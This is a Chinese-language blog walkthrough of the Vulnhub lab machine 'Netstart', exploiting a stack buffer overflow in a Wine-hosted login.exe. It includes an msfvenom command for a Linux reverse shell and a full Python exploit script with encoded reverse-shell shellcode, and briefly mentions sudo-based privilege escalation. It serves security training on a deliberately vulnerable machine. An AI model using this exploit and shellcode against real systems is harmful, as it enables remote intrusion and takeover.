Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub靶机Netstart的Walkthrough(linux简单栈溢出)

    这是Vulnhub上的靶机,下载地址为https://www.vulnhub.com/entry/netstart-1,614/,评级为简单。靶机介绍中已经说得很清楚了,主要是对wine运行的程序进行溢出攻击。由于刚刚搞过另一个靶机school,这个靶机的溢出部分大同小异,因此本篇walkthrough相对简单一些,只说一些和school靶机不一样的地方。

    虚拟机加载运行,nmap扫描,得到两个端口。

    图片.png


    nmap已经扫描出ftp可以匿名登录,且里面有两个文件,应该就是有漏洞的应用程序了,同时,2371端口就是这个程序开启的端口。

    把程序下载到本机,一番静态和动态分析(详细请见另一篇博文:传送门)。这里只说重点不一样的地方。

    一个是,如果msfvenom生成的是windows反弹shell的话,就会卡在wine里,访问不了linux的系统文件,也就无法得到root flag。

    图片.png

   

    因此,这里我们要生成linux下的shell,命令是:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=yourip LPORT=yourport -b '\x00\x0a\x0d\x2d\x2e\x46\x47\x59\x5e\x60'  -f python


     第二点是,login.exe这个漏洞程序同样有特殊字符过滤,需要在msfvenom中用-b参数进行规避。但是除了login.exe程序自身过滤的特殊字符外,linux比windows的shell要多三个特殊字符,就是'\x00\x0a\x0d'。以后遇到类似情况,加上就是。


    就这两点需要注意。生成漏洞利用程序后,成功得到反弹shell。作者说,得到提权非常简单,那我们直接sudo -l,果然有料。然后就不细说了,轻松提权。

    图片.png                                                                          


    最后,附上漏洞利用程序的python代码。

#!/usr/bin/python3
import socket
buf=b''
target_ip='192.168.56.15'
target_port=2371
recv_buf=4096
junk = b'a' * 1702
ret_addr=b'\xB8\x12\x50\x62'
nops=b'\x90'*32#   可选
buf =  b""
buf += b"\xbd\xd0\xcd\x3e\xcb\xda\xd3\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\xba\xc3\xdc"
buf += b"\x3e\x0b\x07\xd7\x22\x38\xf4\x4b\xcf\xbc\x73\x8a\xbf"
buf += b"\xa6\x4e\xcd\x53\x7f\xe1\xf1\x9e\xff\x48\x77\xd8\x97"
buf += b"\x8a\x2f\x22\x03\x63\x32\x53\xda\x2f\xbb\xb2\x6c\xa9"
buf += b"\xeb\x65\xdf\x85\x0f\x0f\x3e\x24\x8f\x5d\xa8\xd9\xbf"
buf += b"\x12\x40\x4e\xef\xfb\xf2\xe7\x66\xe0\xa0\xa4\xf1\x06"
buf += b"\xf4\x40\xcf\x49"
payload = b''
payload += junk
payload += ret_addr
payload += nops
payload += buf
print(payload)
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
    clientSock.connect((target_ip,target_port))
    data_from_srv = clientSock.recv(recv_buf)
    print(f"Reply --> {data_from_srv}")
    print(f"Sending --> {payload}")
    clientSock.sendall(payload)


发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0